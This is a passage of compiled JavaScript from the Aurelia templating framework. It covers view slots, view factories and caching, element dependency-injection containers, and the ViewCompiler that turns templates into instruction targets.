for (i = 0, ii = controllers.length; i < ii; ++i) {
controllers[i].detached();
}
children = this.children;
for (i = 0, ii = children.length; i < ii; ++i) {
children[i].detached();
}
}
};
return View;
}();
function getAnimatableElement(view) {
if (view.animatableElement !== undefined) {
return view.animatableElement;
}
var current = view.firstChild;
while (current && current.nodeType !== 1) {
current = current.nextSibling;
}
if (current && current.nodeType === 1) {
return view.animatableElement = current.classList.contains('au-animate') ? current : null;
}
return view.animatableElement = null;
}
var ViewSlot = exports.ViewSlot = function () {
function ViewSlot(anchor, anchorIsContainer) {
var animator = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : Animator.instance;
this.anchor = anchor;
this.anchorIsContainer = anchorIsContainer;
this.bindingContext = null;
this.overrideContext = null;
this.animator = animator;
this.children = [];
this.isBound = false;
this.isAttached = false;
this.contentSelectors = null;
anchor.viewSlot = this;
anchor.isContentProjectionSource = false;
}
ViewSlot.prototype.animateView = function animateView(view) {
var direction = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'enter';
var animatableElement = getAnimatableElement(view);
if (animatableElement !== null) {
switch (direction) {
case 'enter':
return this.animator.enter(animatableElement);
case 'leave':
return this.animator.leave(animatableElement);
default:
throw new Error('Invalid animation direction: ' + direction);
}
}
};
ViewSlot.prototype.transformChildNodesIntoView = function transformChildNodesIntoView() {
var parent = this.anchor;
this.children.push({
fragment: parent,
firstChild: parent.firstChild,
lastChild: parent.lastChild,
returnToCache: function returnToCache() {},
removeNodes: function removeNodes() {
var last = void 0;
while (last = parent.lastChild) {
parent.removeChild(last);
}
},
created: function created() {},
bind: function bind() {},
unbind: function unbind() {},
attached: function attached() {},
detached: function detached() {}
});
};
ViewSlot.prototype.bind = function bind(bindingContext, overrideContext) {
var i = void 0;
var ii = void 0;
var children = void 0;
if (this.isBound) {
if (this.bindingContext === bindingContext) {
return;
}
this.unbind();
}
this.isBound = true;
this.bindingContext = bindingContext = bindingContext || this.bindingContext;
this.overrideContext = overrideContext = overrideContext || this.overrideContext;
children = this.children;
for (i = 0, ii = children.length; i < ii; ++i) {
children[i].bind(bindingContext, overrideContext, true);
}
};
ViewSlot.prototype.unbind = function unbind() {
if (this.isBound) {
var i = void 0;
var ii = void 0;
var _children4 = this.children;
this.isBound = false;
this.bindingContext = null;
this.overrideContext = null;
for (i = 0, ii = _children4.length; i < ii; ++i) {
_children4[i].unbind();
}
}
};
ViewSlot.prototype.add = function add(view) {
if (this.anchorIsContainer) {
view.appendNodesTo(this.anchor);
} else {
view.insertNodesBefore(this.anchor);
}
this.children.push(view);
if (this.isAttached) {
view.attached();
return this.animateView(view, 'enter');
}
};
ViewSlot.prototype.insert = function insert(index, view) {
var children = this.children;
var length = children.length;
if (index === 0 && length === 0 || index >= length) {
return this.add(view);
}
view.insertNodesBefore(children[index].firstChild);
children.splice(index, 0, view);
if (this.isAttached) {
view.attached();
return this.animateView(view, 'enter');
}
};
ViewSlot.prototype.move = function move(sourceIndex, targetIndex) {
if (sourceIndex === targetIndex) {
return;
}
var children = this.children;
var view = children[sourceIndex];
view.removeNodes();
view.insertNodesBefore(children[targetIndex].firstChild);
children.splice(sourceIndex, 1);
children.splice(targetIndex, 0, view);
};
ViewSlot.prototype.remove = function remove(view, returnToCache, skipAnimation) {
return this.removeAt(this.children.indexOf(view), returnToCache, skipAnimation);
};
ViewSlot.prototype.removeMany = function removeMany(viewsToRemove, returnToCache, skipAnimation) {
var _this4 = this;
var children = this.children;
var ii = viewsToRemove.length;
var i = void 0;
var rmPromises = [];
viewsToRemove.forEach(function (child) {
if (skipAnimation) {
child.removeNodes();
return;
}
var animation = _this4.animateView(child, 'leave');
if (animation) {
rmPromises.push(animation.then(function () {
return child.removeNodes();
}));
} else {
child.removeNodes();
}
});
var removeAction = function removeAction() {
if (_this4.isAttached) {
for (i = 0; i < ii; ++i) {
viewsToRemove[i].detached();
}
}
if (returnToCache) {
for (i = 0; i < ii; ++i) {
viewsToRemove[i].returnToCache();
}
}
for (i = 0; i < ii; ++i) {
var index = children.indexOf(viewsToRemove[i]);
if (index >= 0) {
children.splice(index, 1);
}
}
};
if (rmPromises.length > 0) {
return Promise.all(rmPromises).then(function () {
return removeAction();
});
}
return removeAction();
};
ViewSlot.prototype.removeAt = function removeAt(index, returnToCache, skipAnimation) {
var _this5 = this;
var view = this.children[index];
var removeAction = function removeAction() {
index = _this5.children.indexOf(view);
view.removeNodes();
_this5.children.splice(index, 1);
if (_this5.isAttached) {
view.detached();
}
if (returnToCache) {
view.returnToCache();
}
return view;
};
if (!skipAnimation) {
var animation = this.animateView(view, 'leave');
if (animation) {
return animation.then(function () {
return removeAction();
});
}
}
return removeAction();
};
ViewSlot.prototype.removeAll = function removeAll(returnToCache, skipAnimation) {
var _this6 = this;
var children = this.children;
var ii = children.length;
var i = void 0;
var rmPromises = [];
children.forEach(function (child) {
if (skipAnimation) {
child.removeNodes();
return;
}
var animation = _this6.animateView(child, 'leave');
if (animation) {
rmPromises.push(animation.then(function () {
return child.removeNodes();
}));
} else {
child.removeNodes();
}
});
var removeAction = function removeAction() {
if (_this6.isAttached) {
for (i = 0; i < ii; ++i) {
children[i].detached();
}
}
if (returnToCache) {
for (i = 0; i < ii; ++i) {
var _child3 = children[i];
if (_child3) {
_child3.returnToCache();
}
}
}
_this6.children = [];
};
if (rmPromises.length > 0) {
return Promise.all(rmPromises).then(function () {
return removeAction();
});
}
return removeAction();
};
ViewSlot.prototype.attached = function attached() {
var i = void 0;
var ii = void 0;
var children = void 0;
var child = void 0;
if (this.isAttached) {
return;
}
this.isAttached = true;
children = this.children;
for (i = 0, ii = children.length; i < ii; ++i) {
child = children[i];
child.attached();
this.animateView(child, 'enter');
}
};
ViewSlot.prototype.detached = function detached() {
var i = void 0;
var ii = void 0;
var children = void 0;
if (this.isAttached) {
this.isAttached = false;
children = this.children;
for (i = 0, ii = children.length; i < ii; ++i) {
children[i].detached();
}
}
};
ViewSlot.prototype.projectTo = function projectTo(slots) {
var _this7 = this;
this.projectToSlots = slots;
this.add = this._projectionAdd;
this.insert = this._projectionInsert;
this.move = this._projectionMove;
this.remove = this._projectionRemove;
this.removeAt = this._projectionRemoveAt;
this.removeMany = this._projectionRemoveMany;
this.removeAll = this._projectionRemoveAll;
this.children.forEach(function (view) {
return ShadowDOM.distributeView(view, slots, _this7);
});
};
ViewSlot.prototype._projectionAdd = function _projectionAdd(view) {
ShadowDOM.distributeView(view, this.projectToSlots, this);
this.children.push(view);
if (this.isAttached) {
view.attached();
}
};
ViewSlot.prototype._projectionInsert = function _projectionInsert(index, view) {
if (index === 0 && !this.children.length || index >= this.children.length) {
this.add(view);
} else {
ShadowDOM.distributeView(view, this.projectToSlots, this, index);
this.children.splice(index, 0, view);
if (this.isAttached) {
view.attached();
}
}
};
ViewSlot.prototype._projectionMove = function _projectionMove(sourceIndex, targetIndex) {
if (sourceIndex === targetIndex) {
return;
}
var children = this.children;
var view = children[sourceIndex];
ShadowDOM.undistributeView(view, this.projectToSlots, this);
ShadowDOM.distributeView(view, this.projectToSlots, this, targetIndex);
children.splice(sourceIndex, 1);
children.splice(targetIndex, 0, view);
};
ViewSlot.prototype._projectionRemove = function _projectionRemove(view, returnToCache) {
ShadowDOM.undistributeView(view, this.projectToSlots, this);
this.children.splice(this.children.indexOf(view), 1);
if (this.isAttached) {
view.detached();
}
};
ViewSlot.prototype._projectionRemoveAt = function _projectionRemoveAt(index, returnToCache) {
var view = this.children[index];
ShadowDOM.undistributeView(view, this.projectToSlots, this);
this.children.splice(index, 1);
if (this.isAttached) {
view.detached();
}
};
ViewSlot.prototype._projectionRemoveMany = function _projectionRemoveMany(viewsToRemove, returnToCache) {
var _this8 = this;
viewsToRemove.forEach(function (view) {
return _this8.remove(view, returnToCache);
});
};
ViewSlot.prototype._projectionRemoveAll = function _projectionRemoveAll(returnToCache) {
ShadowDOM.undistributeAll(this.projectToSlots, this);
var children = this.children;
if (this.isAttached) {
for (var i = 0, ii = children.length; i < ii; ++i) {
children[i].detached();
}
}
this.children = [];
};
return ViewSlot;
}();
var ProviderResolver = (0, _aureliaDependencyInjection.resolver)(_class11 = function () {
function ProviderResolver() {
}
ProviderResolver.prototype.get = function get(container, key) {
var id = key.__providerId__;
return id in container ? container[id] : container[id] = container.invoke(key);
};
return ProviderResolver;
}()) || _class11;
var providerResolverInstance = new ProviderResolver();
function elementContainerGet(key) {
if (key === _aureliaPal.DOM.Element) {
return this.element;
}
if (key === BoundViewFactory) {
if (this.boundViewFactory) {
return this.boundViewFactory;
}
var factory = this.instruction.viewFactory;
var _partReplacements = this.partReplacements;
if (_partReplacements) {
factory = _partReplacements[factory.part] || factory;
}
this.boundViewFactory = new BoundViewFactory(this, factory, _partReplacements);
return this.boundViewFactory;
}
if (key === ViewSlot) {
if (this.viewSlot === undefined) {
this.viewSlot = new ViewSlot(this.element, this.instruction.anchorIsContainer);
this.element.isContentProjectionSource = this.instruction.lifting;
this.children.push(this.viewSlot);
}
return this.viewSlot;
}
if (key === ElementEvents) {
return this.elementEvents || (this.elementEvents = new ElementEvents(this.element));
}
if (key === CompositionTransaction) {
return this.compositionTransaction || (this.compositionTransaction = this.parent.get(key));
}
if (key === ViewResources) {
return this.viewResources;
}
if (key === TargetInstruction) {
return this.instruction;
}
return this.superGet(key);
}
function createElementContainer(parent, element, instruction, children, partReplacements, resources) {
var container = parent.createChild();
var providers = void 0;
var i = void 0;
container.element = element;
container.instruction = instruction;
container.children = children;
container.viewResources = resources;
container.partReplacements = partReplacements;
providers = instruction.providers;
i = providers.length;
while (i--) {
container._resolvers.set(providers[i], providerResolverInstance);
}
container.superGet = container.get;
container.get = elementContainerGet;
return container;
}
function hasAttribute(name) {
return this._element.hasAttribute(name);
}
function getAttribute(name) {
return this._element.getAttribute(name);
}
function setAttribute(name, value) {
this._element.setAttribute(name, value);
}
function makeElementIntoAnchor(element, elementInstruction) {
var anchor = _aureliaPal.DOM.createComment('anchor');
if (elementInstruction) {
var firstChild = element.firstChild;
if (firstChild && firstChild.tagName === 'AU-CONTENT') {
anchor.contentElement = firstChild;
}
anchor._element = element;
anchor.hasAttribute = hasAttribute;
anchor.getAttribute = getAttribute;
anchor.setAttribute = setAttribute;
}
_aureliaPal.DOM.replaceNode(anchor, element);
return anchor;
}
function applyInstructions(containers, element, instruction, controllers, bindings, children, shadowSlots, partReplacements, resources) {
var behaviorInstructions = instruction.behaviorInstructions;
var expressions = instruction.expressions;
var elementContainer = void 0;
var i = void 0;
var ii = void 0;
var current = void 0;
var instance = void 0;
if (instruction.contentExpression) {
bindings.push(instruction.contentExpression.createBinding(element.nextSibling));
element.nextSibling.auInterpolationTarget = true;
element.parentNode.removeChild(element);
return;
}
if (instruction.shadowSlot) {
var commentAnchor = _aureliaPal.DOM.createComment('slot');
var slot = void 0;
if (instruction.slotDestination) {
slot = new PassThroughSlot(commentAnchor, instruction.slotName, instruction.slotDestination, instruction.slotFallbackFactory);
} else {
slot = new ShadowSlot(commentAnchor, instruction.slotName, instruction.slotFallbackFactory);
}
_aureliaPal.DOM.replaceNode(commentAnchor, element);
shadowSlots[instruction.slotName] = slot;
controllers.push(slot);
return;
}
if (behaviorInstructions.length) {
if (!instruction.anchorIsContainer) {
element = makeElementIntoAnchor(element, instruction.elementInstruction);
}
containers[instruction.injectorId] = elementContainer = createElementContainer(containers[instruction.parentInjectorId], element, instruction, children, partReplacements, resources);
for (i = 0, ii = behaviorInstructions.length; i < ii; ++i) {
current = behaviorInstructions[i];
instance = current.type.create(elementContainer, current, element, bindings);
controllers.push(instance);
}
}
for (i = 0, ii = expressions.length; i < ii; ++i) {
bindings.push(expressions[i].createBinding(element));
}
}
function styleStringToObject(style, target) {
var attributes = style.split(';');
var firstIndexOfColon = void 0;
var i = void 0;
var current = void 0;
var key = void 0;
var value = void 0;
target = target || {};
for (i = 0; i < attributes.length; i++) {
current = attributes[i];
firstIndexOfColon = current.indexOf(':');
key = current.substring(0, firstIndexOfColon).trim();
value = current.substring(firstIndexOfColon + 1).trim();
target[key] = value;
}
return target;
}
function styleObjectToString(obj) {
var result = '';
for (var key in obj) {
result += key + ':' + obj[key] + ';';
}
return result;
}
function applySurrogateInstruction(container, element, instruction, controllers, bindings, children) {
var behaviorInstructions = instruction.behaviorInstructions;
var expressions = instruction.expressions;
var providers = instruction.providers;
var values = instruction.values;
var i = void 0;
var ii = void 0;
var current = void 0;
var instance = void 0;
var currentAttributeValue = void 0;
i = providers.length;
while (i--) {
container._resolvers.set(providers[i], providerResolverInstance);
}
for (var key in values) {
currentAttributeValue = element.getAttribute(key);
if (currentAttributeValue) {
if (key === 'class') {
element.setAttribute('class', currentAttributeValue + ' ' + values[key]);
} else if (key === 'style') {
var styleObject = styleStringToObject(values[key]);
styleStringToObject(currentAttributeValue, styleObject);
element.setAttribute('style', styleObjectToString(styleObject));
}
} else {
element.setAttribute(key, values[key]);
}
}
if (behaviorInstructions.length) {
for (i = 0, ii = behaviorInstructions.length; i < ii; ++i) {
current = behaviorInstructions[i];
instance = current.type.create(container, current, element, bindings);
if (instance.contentView) {
children.push(instance.contentView);
}
controllers.push(instance);
}
}
for (i = 0, ii = expressions.length; i < ii; ++i) {
bindings.push(expressions[i].createBinding(element));
}
}
var BoundViewFactory = exports.BoundViewFactory = function () {
function BoundViewFactory(parentContainer, viewFactory, partReplacements) {
this.parentContainer = parentContainer;
this.viewFactory = viewFactory;
this.factoryCreateInstruction = { partReplacements: partReplacements };
}
BoundViewFactory.prototype.create = function create() {
var view = this.viewFactory.create(this.parentContainer.createChild(), this.factoryCreateInstruction);
view._isUserControlled = true;
return view;
};
BoundViewFactory.prototype.setCacheSize = function setCacheSize(size, doNotOverrideIfAlreadySet) {
this.viewFactory.setCacheSize(size, doNotOverrideIfAlreadySet);
};
BoundViewFactory.prototype.getCachedView = function getCachedView() {
return this.viewFactory.getCachedView();
};
BoundViewFactory.prototype.returnViewToCache = function returnViewToCache(view) {
this.viewFactory.returnViewToCache(view);
};
_createClass(BoundViewFactory, [{
key: 'isCaching',
get: function get() {
return this.viewFactory.isCaching;
}
}]);
return BoundViewFactory;
}();
var ViewFactory = exports.ViewFactory = function () {
function ViewFactory(template, instructions, resources) {
this.isCaching = false;
this.template = template;
this.instructions = instructions;
this.resources = resources;
this.cacheSize = -1;
this.cache = null;
}
ViewFactory.prototype.setCacheSize = function setCacheSize(size, doNotOverrideIfAlreadySet) {
if (size) {
if (size === '*') {
size = Number.MAX_VALUE;
} else if (typeof size === 'string') {
size = parseInt(size, 10);
}
}
if (this.cacheSize === -1 || !doNotOverrideIfAlreadySet) {
this.cacheSize = size;
}
if (this.cacheSize > 0) {
this.cache = [];
} else {
this.cache = null;
}
this.isCaching = this.cacheSize > 0;
};
ViewFactory.prototype.getCachedView = function getCachedView() {
return this.cache !== null ? this.cache.pop() || null : null;
};
ViewFactory.prototype.returnViewToCache = function returnViewToCache(view) {
if (view.isAttached) {
view.detached();
}
if (view.isBound) {
view.unbind();
}
if (this.cache !== null && this.cache.length < this.cacheSize) {
view.fromCache = true;
this.cache.push(view);
}
};
ViewFactory.prototype.create = function create(container, createInstruction, element) {
createInstruction = createInstruction || BehaviorInstruction.normal;
var cachedView = this.getCachedView();
if (cachedView !== null) {
return cachedView;
}
var fragment = createInstruction.enhance ? this.template : this.template.cloneNode(true);
var instructables = fragment.querySelectorAll('.au-target');
var instructions = this.instructions;
var resources = this.resources;
var controllers = [];
var bindings = [];
var children = [];
var shadowSlots = Object.create(null);
var containers = { root: container };
var partReplacements = createInstruction.partReplacements;
var i = void 0;
var ii = void 0;
var view = void 0;
var instructable = void 0;
var instruction = void 0;
this.resources._invokeHook('beforeCreate', this, container, fragment, createInstruction);
if (element && this.surrogateInstruction !== null) {
applySurrogateInstruction(container, element, this.surrogateInstruction, controllers, bindings, children);
}
if (createInstruction.enhance && fragment.hasAttribute('au-target-id')) {
instructable = fragment;
instruction = instructions[instructable.getAttribute('au-target-id')];
applyInstructions(containers, instructable, instruction, controllers, bindings, children, shadowSlots, partReplacements, resources);
}
for (i = 0, ii = instructables.length; i < ii; ++i) {
instructable = instructables[i];
instruction = instructions[instructable.getAttribute('au-target-id')];
applyInstructions(containers, instructable, instruction, controllers, bindings, children, shadowSlots, partReplacements, resources);
}
view = new View(container, this, fragment, controllers, bindings, children, shadowSlots);
if (!createInstruction.initiatedByBehavior) {
view.created();
}
this.resources._invokeHook('afterCreate', view);
return view;
};
return ViewFactory;
}();
var nextInjectorId = 0;
function getNextInjectorId() {
return ++nextInjectorId;
}
var lastAUTargetID = 0;
function getNextAUTargetID() {
return (++lastAUTargetID).toString();
}
function makeIntoInstructionTarget(element) {
var value = element.getAttribute('class');
var auTargetID = getNextAUTargetID();
element.setAttribute('class', value ? value + ' au-target' : 'au-target');
element.setAttribute('au-target-id', auTargetID);
return auTargetID;
}
function makeShadowSlot(compiler, resources, node, instructions, parentInjectorId) {
var auShadowSlot = _aureliaPal.DOM.createElement('au-shadow-slot');
_aureliaPal.DOM.replaceNode(auShadowSlot, node);
var auTargetID = makeIntoInstructionTarget(auShadowSlot);
var instruction = TargetInstruction.shadowSlot(parentInjectorId);
instruction.slotName = node.getAttribute('name') || ShadowDOM.defaultSlotKey;
instruction.slotDestination = node.getAttribute('slot');
if (node.innerHTML.trim()) {
var fragment = _aureliaPal.DOM.createDocumentFragment();
var _child4 = void 0;
while (_child4 = node.firstChild) {
fragment.appendChild(_child4);
}
instruction.slotFallbackFactory = compiler.compile(fragment, resources);
}
instructions[auTargetID] = instruction;
return auShadowSlot;
}
var ViewCompiler = exports.ViewCompiler = (_dec7 = (0, _aureliaDependencyInjection.inject)(BindingLanguage, ViewResources), _dec7(_class13 = function () {
function ViewCompiler(bindingLanguage, resources) {
this.bindingLanguage = bindingLanguage;
this.resources = resources;
}
ViewCompiler.prototype.compile = function compile(source, resources, compileInstruction) {
resources = resources || this.resources;
compileInstruction = compileInstruction || ViewCompileInstruction.normal;
source = typeof source === 'string' ? _aureliaPal.DOM.createTemplateFromMarkup(source) : source;
var content = void 0;
var part = void 0;
var cacheSize = void 0;
if (source.content) {
part = source.getAttribute('part');
cacheSize = source.getAttribute('view-cache');
content = _aureliaPal.DOM.adoptNode(source.content);
} else {
content = source;
}
compileInstruction.targetShadowDOM = compileInstruction.targetShadowDOM && _aureliaPal.FEATURE.shadowDOM;
resources._invokeHook('beforeCompile', content, resources, compileInstruction);
var instructions = {};
this._compileNode(content, resources, instructions, source, 'root', !compileInstruction.targetShadowDOM);
var firstChild = content.firstChild;
if (firstChild && firstChild.nodeType === 1) {
var targetId = firstChild.getAttribute('au-target-id');
if (targetId) {
var ins = instructions[targetId];
if (ins.shadowSlot || ins.lifting || ins.elementInstruction && !ins.elementInstruction.anchorIsContainer) {
content.insertBefore(_aureliaPal.DOM.createComment('view'), firstChild);
}
}
}
var factory = new ViewFactory(content, instructions, resources);
factory.surrogateInstruction = compileInstruction.compileSurrogate ? this._compileSurrogate(source, resources) : null;
factory.part = part;
if (cacheSize) {
factory.setCacheSize(cacheSize);
}
resources._invokeHook('afterCompile', factory);
return factory;
};
ViewCompiler.prototype._compileNode = function _compileNode(node, resources, instructions, parentNode, parentInjectorId, targetLightDOM) {
switch (node.nodeType) {
case 1:
return this._compileElement(node, resources, instructions, parentNode, parentInjectorId, targetLightDOM);
case 3:
var expression = resources.getBindingLanguage(this.bindingLanguage).inspectTextContent(resources, node.wholeText);
if (expression) {
var marker = _aureliaPal.DOM.createElement('au-marker');
var auTargetID = makeIntoInstructionTarget(marker);
(node.parentNode || parentNode).insertBefore(marker, node);
node.textContent = ' ';
instructions[auTargetID] = TargetInstruction.contentExpression(expression);
while (node.nextSibling && node.nextSibling.nodeType === 3) {
(node.parentNode || parentNode).removeChild(node.nextSibling);
}
} else {
while (node.nextSibling && node.nextSibling.nodeType === 3) {
node = node.nextSibling;
}
}
return node.nextSibling;
case 11:
var currentChild = node.firstChild;
while (currentChild) {
currentChild = this._compileNode(currentChild, resources, instructions, node, parentInjectorId, targetLightDOM);
}
break;
default:
break;
}
return node.nextSibling;
};
ViewCompiler.prototype._compileSurrogate = function _compileSurrogate(node, resources) {
var tagName = node.tagName.toLowerCase();
var attributes = node.attributes;
var bindingLanguage = resources.getBindingLanguage(this.bindingLanguage);
var knownAttribute = void 0;
var property = void 0;
var instruction = void 0;
var i = void 0;
var ii = void 0;
var attr = void 0;
var attrName = void 0;
var attrValue = void 0;
var info = void 0;
var type = void 0;
var expressions = [];
var expression = void 0;
var behaviorInstructions = [];
var values = {};
var hasValues = false;
var providers = [];
for (i = 0, ii = attributes.length; i < ii; ++i) {
attr = attributes[i];
attrName = attr.name;
attrValue = attr.value;
info = bindingLanguage.inspectAttribute(resources, tagName, attrName, attrValue);
type = resources.getAttribute(info.attrName);
if (type) {
knownAttribute = resources.mapAttribute(info.attrName);
if (knownAttribute) {
property = type.attributes[knownAttribute];
if (property) {
info.defaultBindingMode = property.defaultBindingMode;
if (!info.command && !info.expression) {
info.command = property.hasOptions ? 'options' : null;
}
if (info.command && info.command !== 'options' && type.primaryProperty) {
var primaryProperty = type.primaryProperty;
attrName = info.attrName = primaryProperty.name;
info.defaultBindingMode = primaryProperty.defaultBindingMode;
}
}
}
}
instruction = bindingLanguage.createAttributeInstruction(resources, node, info, undefined, type);
if (instruction) {
if (instruction.alteredAttr) {
type = resources.getAttribute(instruction.attrName);
}
if (instruction.discrete) {
expressions.push(instruction);
} else {
if (type) {
instruction.type = type;
this._configureProperties(instruction, resources);
if (type.liftsContent) {
throw new Error('You cannot place a template controller on a surrogate element.');
} else {
behaviorInstructions.push(instruction);
}
} else {
expressions.push(instruction.attributes[instruction.attrName]);
}
}
} else {
if (type) {
instruction = BehaviorInstruction.attribute(attrName, type);
instruction.attributes[resources.mapAttribute(attrName)] = attrValue;
if (type.liftsContent) {
throw new Error('You cannot place a template controller on a surrogate element.');
} else {
behaviorInstructions.push(instruction);
}
} else if (attrName !== 'id' && attrName !== 'part' && attrName !== 'replace-part') {
hasValues = true;
values[attrName] = attrValue;
}
}
}
if (expressions.length || behaviorInstructions.length || hasValues) {
for (i = 0, ii = behaviorInstructions.length; i < ii; ++i) {
instruction = behaviorInstructions[i];
instruction.type.compile(this, resources, node, instruction);
providers.push(instruction.type.target);
}
for (i = 0, ii = expressions.length; i < ii; ++i) {
expression = expressions[i];
if (expression.attrToRemove !== undefined) {
node.removeAttribute(expression.attrToRemove);
}
}
return TargetInstruction.surrogate(providers, behaviorInstructions, expressions, values);
}
return null;
};
ViewCompiler.prototype._compileElement = function _compileElement(node, resources, instructions, parentNode, parentInjectorId, targetLightDOM) {
var tagName = node.tagName.toLowerCase();
var attributes = node.attributes;
var expressions = [];
var expression = void 0;
var behaviorInstructions = [];
var providers = [];
var bindingLanguage = resources.getBindingLanguage(this.bindingLanguage);
var liftingInstruction = void 0;
var viewFactory = void 0;
var type = void 0;
var elementInstruction = void 0;
var elementProperty = void 0;
var i = void 0;
var ii = void 0;
var attr = void 0;
var attrName = void 0;
var attrValue = void 0;
var instruction = void 0;
var info = void 0;
var property = void 0;
var knownAttribute = void 0;
var auTargetID = void 0;
var injectorId = void 0;
if (tagName === 'slot') {
if (targetLightDOM) {
node = makeShadowSlot(this, resources, node, instructions, parentInjectorId);
}
return node.nextSibling;
} else if (tagName === 'template') {
viewFactory = this.compile(node, resources);
viewFactory.part = node.getAttribute('part');
} else {
type = resources.getElement(node.getAttribute('as-element') || tagName);
if (type) {
elementInstruction = BehaviorInstruction.element(node, type);
type.processAttributes(this, resources, node, attributes, elementInstruction);
behaviorInstructions.push(elementInstruction);
}
}
for (i = 0, ii = attributes.length; i < ii; ++i) {
attr = attributes[i];
attrName = attr.name;
attrValue = attr.value;
info = bindingLanguage.inspectAttribute(resources, tagName, attrName, attrValue);
if (targetLightDOM && info.attrName === 'slot') {
info.attrName = attrName = 'au-slot';
}
type = resources.getAttribute(info.attrName);
elementProperty = null;
if (type) {
knownAttribute = resources.mapAttribute(info.attrName);
if (knownAttribute) {
property = type.attributes[knownAttribute];
if (property) {
info.defaultBindingMode = property.defaultBindingMode;
if (!info.command && !info.expression) {
info.command = property.hasOptions ? 'options' : null;
}
if (info.command && info.command !== 'options' && type.primaryProperty) {
var primaryProperty = type.primaryProperty;
attrName = info.attrName = primaryProperty.name;
info.defaultBindingMode = primaryProperty.defaultBindingMode;
}
}
}
} else if (elementInstruction) {
elementProperty = elementInstruction.type.attributes[info.attrName];
if (elementProperty) {
info.defaultBindingMode = elementProperty.defaultBindingMode;
}
}
if (elementProperty) {
instruction = bindingLanguage.createAttributeInstruction(resources, node, info, elementInstruction);
} else {
instruction = bindingLanguage.createAttributeInstruction(resources, node, info, undefined, type);
}
if (instruction) {
if (instruction.alteredAttr) {
type = resources.getAttribute(instruction.attrName);
}
if (instruction.discrete) {
expressions.push(instruction);
} else {
if (type) {
instruction.type = type;
this._configureProperties(instruction, resources);
if (type.liftsContent) {
instruction.originalAttrName = attrName;
liftingInstruction = instruction;
break;
} else {
behaviorInstructions.push(instruction);
}
} else if (elementProperty) {
elementInstruction.attributes[info.attrName].targetProperty = elementProperty.name;
} else {
expressions.push(instruction.attributes[instruction.attrName]);
}
}
} else {
if (type) {
instruction = BehaviorInstruction.attribute(attrName, type);
instruction.attributes[resources.mapAttribute(attrName)] = attrValue;
if (type.liftsContent) {
instruction.originalAttrName = attrName;
liftingInstruction = instruction;
break;
} else {
behaviorInstructions.push(instruction);
}
} else if (elementProperty) {
elementInstruction.attributes[attrName] = attrValue;
}
}
}
if (liftingInstruction) {
liftingInstruction.viewFactory = viewFactory;
node = liftingInstruction.type.compile(this, resources, node, liftingInstruction, parentNode);
auTargetID = makeIntoInstructionTarget(node);
instructions[auTargetID] = TargetInstruction.lifting(parentInjectorId, liftingInstruction);
} else {
if (expressions.length || behaviorInstructions.length) {
injectorId = behaviorInstructions.length ? getNextInjectorId() : false;
for (i = 0, ii = behaviorInstructions.length; i < ii; ++i) {
instruction = behaviorInstructions[i];
instruction.type.compile(this, resources, node, instruction, parentNode);
providers.push(instruction.type.target);
}
for (i = 0, ii = expressions.length; i < ii; ++i) {
expression = expressions[i];
if (expression.attrToRemove !== undefined) {
node.removeAttribute(expression.attrToRemove);
}
}
auTargetID = makeIntoInstructionTarget(node);
instructions[auTargetID] = TargetInstruction.normal(injectorId, parentInjectorId, providers, behaviorInstructions, expressions, elementInstruction);
}
if (elementInstruction && elementInstruction.skipContentProcessing) {
return node.nextSibling;
}
var currentChild = node.firstChild;
while (currentChild) {
currentChild = this._compileNode(currentChild, resources, instructions, node, injectorId || parentInjectorId, targetLightDOM);
}
}
return node.nextSibling;
};
ViewCompiler.prototype._configureProperties = function _configureProperties(instruction, resources) {
var type = instruction.type;
var attrName = instruction.attrName;
var attributes = instruction.attributes;
var property = void 0;
var key = void 0;
var value = void 0;
var knownAttribute = resources.mapAttribute(attrName);
if (knownAttribute && attrName in attributes && knownAttribute !== attrName) {
attributes[knownAttribute] = attributes[attrName];
delete attributes[attrName];
}
for (key in attributes) {
value = attributes[key];
if (value !== null && (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object') {
property = type.attributes[key];
if (property !== undefined) {
value.targetProperty = property.name;
} else {
value.targetProperty = key;
}
}
}
};
return ViewCompiler;
}()) || _class13);
var ResourceModule = exports.ResourceModule = function () {
function ResourceModule(moduleId) {
this.id = moduleId;
this.moduleInstance = null;
this.mainResource = null;
this.resources = null;
this.viewStrategy = null;
this.isInitialized = false;
this.onLoaded = null;
this.loadContext = null;
}
ResourceModule.prototype.initialize = function initialize(container) {
var current = this.mainResource;
var resources = this.resources;
var vs = this.viewStrategy;
if (this.isInitialized) {
return;
}
this.isInitialized = true;
if (current !== undefined) {
current.metadata.viewStrategy = vs;
current.initialize(container);
}
for (var i = 0, ii = resources.length; i < ii; ++i) {
current = resources[i];
current.metadata.viewStrategy = vs;
current.initialize(container);
}
};
ResourceModule.prototype.register = function register(registry, name) {
var main = this.mainResource;
var resources = this.resources;
if (main !== undefined) {
main.register(registry, name);
name = null;
}
for (var i = 0, ii = resources.length; i < ii; ++i) {
resources[i].register(registry, name);
name = null;
}
};
ResourceModule.prototype.load = function load(container, loadContext) {
if (this.onLoaded !== null) {
return this.loadContext === loadContext ? Promise.resolve() : this.onLoaded;
}
var main = this.mainResource;
var resources = this.resources;
var loads = void 0;
if (main !== undefined) {
loads = new Array(resources.length + 1);
loads[0] = main.load(container, loadContext);
for (var i = 0, ii = resources.length; i < ii; ++i) {
loads[i + 1] = resources[i].load(container, loadContext);
}
} else {
loads = new Array(resources.length);
for (var _i = 0, _ii = resources.length; _i < _ii; ++_i) {
loads[_i] = resources[_i].load(container, loadContext);
}
}
this.loadContext = loadContext;
this.onLoaded = Promise.all(loads);
return this.onLoaded;
};
return ResourceModule;
}();
var ResourceDescription = exports.ResourceDescription = function () {
function ResourceDescription(key, exportedValue, resourceTypeMeta) {
if (!resourceTypeMeta) {
resourceTypeMeta = _aureliaMetadata.metadata.get(_aureliaMetadata.metadata.resource, exportedValue);
if (!resourceTypeMeta) {
resourceTypeMeta = new HtmlBehaviorResource();
resourceTypeMeta.elementName = _hyphenate(key);
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.resource, resourceTypeMeta, exportedValue);
}
}
if (resourceTypeMeta instanceof HtmlBehaviorResource) {
if (resourceTypeMeta.elementName === undefined) {
resourceTypeMeta.elementName = _hyphenate(key);
} else if (resourceTypeMeta.attributeName === undefined) {
resourceTypeMeta.attributeName = _hyphenate(key);
} else if (resourceTypeMeta.attributeName === null && resourceTypeMeta.elementName === null) {
HtmlBehaviorResource.convention(key, resourceTypeMeta);
}
} else if (!resourceTypeMeta.name) {
